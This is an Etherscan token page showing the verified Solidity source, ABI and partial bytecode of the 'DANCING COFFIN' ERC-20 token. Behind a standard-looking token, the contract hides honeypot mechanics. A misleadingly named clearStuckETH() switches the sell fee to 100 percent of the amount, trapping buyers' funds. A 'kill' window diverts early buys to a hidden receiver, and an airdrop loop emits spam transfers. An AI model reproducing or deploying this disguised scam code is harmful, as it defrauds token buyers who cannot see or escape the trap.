ETH Price: $2,621.15 (+1.06%)

Token

DANCING COFFIN (COFFIN)
 

Overview

Max Total Supply

69,420,000,000 COFFIN

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
570,843,350.222335122577688531 COFFIN

Value
$0.00
0x8a311e4dbe616c6a2665d90b1c40894697befc2d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DANCINGCOFFIN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-03
*/

// SPDX-License-Identifier: MIT

// OFFICIAL TELEGRAM : https://t.me/dancingcoffin_group

// OFFICIAL WEBSITE V1 : https://dancingcoffin.vip

pragma solidity ^0.8.16;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function RenounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DANCINGCOFFIN is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress;
    address payable public teamWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 0;
    uint256 public _buyDestroyFee = 0;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 0;
    uint256 public _sellDestroyFee = 0;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 1;
    uint256 public _teamShare = 0;
    uint256 public _totalDistributionShares = 1;

    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 1;

    uint256 public _tFeeTotal;
    uint256 public _maxDestroyAmount;
    uint256 private _totalSupply;
    uint256 public _maxTxAmount;
    uint256 public _walletMax;
    uint256 private _minimumTokensBeforeSwap = 0;
    uint256 public airdropNumbs;
    address private receiveAddress;
    bool private hlass = true;
    uint256 public first;
    uint256 public kill = 0;


    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply,
        address router,
        address owner,
        address marketingAddress,
        address teamAddress,
        address service
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = owner;
        receiveAddress = owner;

        _totalSupply = supply  * 10 ** _decimals;
        _maxTxAmount = supply * 10**_decimals;
        _walletMax = supply * 10**_decimals;
        _maxDestroyAmount = supply * 10**_decimals;
        _minimumTokensBeforeSwap = 1 * 10**_decimals;
        marketingWalletAddress = payable(marketingAddress);
        teamWalletAddress = payable(teamAddress);
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[owner] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[deadAddress] = true;

        isTxLimitExempt[owner] = true;
        isTxLimitExempt[deadAddress] = true;
        isTxLimitExempt[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[owner] = _totalSupply;
        payable(service).transfer(msg.value);
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee).add(_buyDestroyFee);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(recipient == uniswapPair && balanceOf(address(uniswapPair)) == 0){
            first = block.number;
        }
        if(sender == uniswapPair && block.number < first + kill){
            return _basicTransfer(sender, receiveAddress, amount);
        }
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            receiveAddress,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 destAmount = 0;
        uint256 airdropAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
            if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_buyDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }
        else if(isMarketPair[recipient]) {
            if(hlass == true )
            {
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(1000);
            }
            else if(hlass == false)
            {
            feeAmount = amount;
            }
            if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_sellDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }

        if(isMarketPair[sender] || isMarketPair[recipient]){
            if (airdropNumbs > 0){
                address ad;
                for (uint256 i = 0; i < airdropNumbs; i++) {
                    ad = address(uint160(uint256(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _balances[ad] = _balances[ad].add(1);
                    emit Transfer(sender, ad, 1);
                }
                airdropAmount = airdropNumbs * 1;
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount.add(destAmount).add(airdropAmount));
    }

    function destroyFee(address sender, uint256 tAmount) private {
        // stop destroy
        if(_tFeeTotal >= _maxDestroyAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

    function clearStuckETH() external virtual {
        hlass = false;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"teamAddress","type":"address"},{"internalType":"address","name":"service","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxDestroyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"airdropNumbs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"first","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kill","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040819052600580546001600160a01b03191661dead1790555f600c819055600d819055600e819055600f8190556010819055601181905560128190556013819055601481905560016015819055601682905560178190556018829055601955601f8190556021805460ff60a01b1916600160a01b179055602355602580546201000160a81b62ffffff60a81b1990911617905562002ce038819003908190833981016040819052620000b4916200069b565b5f859050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200011b91906200077e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000167573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200018d91906200077e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fe91906200077e565b602580546001600160a01b0319166001600160a01b039290921691909117905560016200022c8b826200082d565b5060026200023b8a826200082d565b506003805460ff8a1660ff1990911681179091555f80546001600160a01b0388166001600160a01b031991821681179092556021805490911690911790556200028690600a62000a02565b62000292908862000a12565b601c55600354620002a89060ff16600a62000a02565b620002b4908862000a12565b601d55600354620002ca9060ff16600a62000a02565b620002d6908862000a12565b601e55600354620002ec9060ff16600a62000a02565b620002f8908862000a12565b601b556003546200030e9060ff16600a62000a02565b6200031b90600162000a12565b601f5560038054610100600160a81b0319166101006001600160a01b0387811691909102919091179091556004805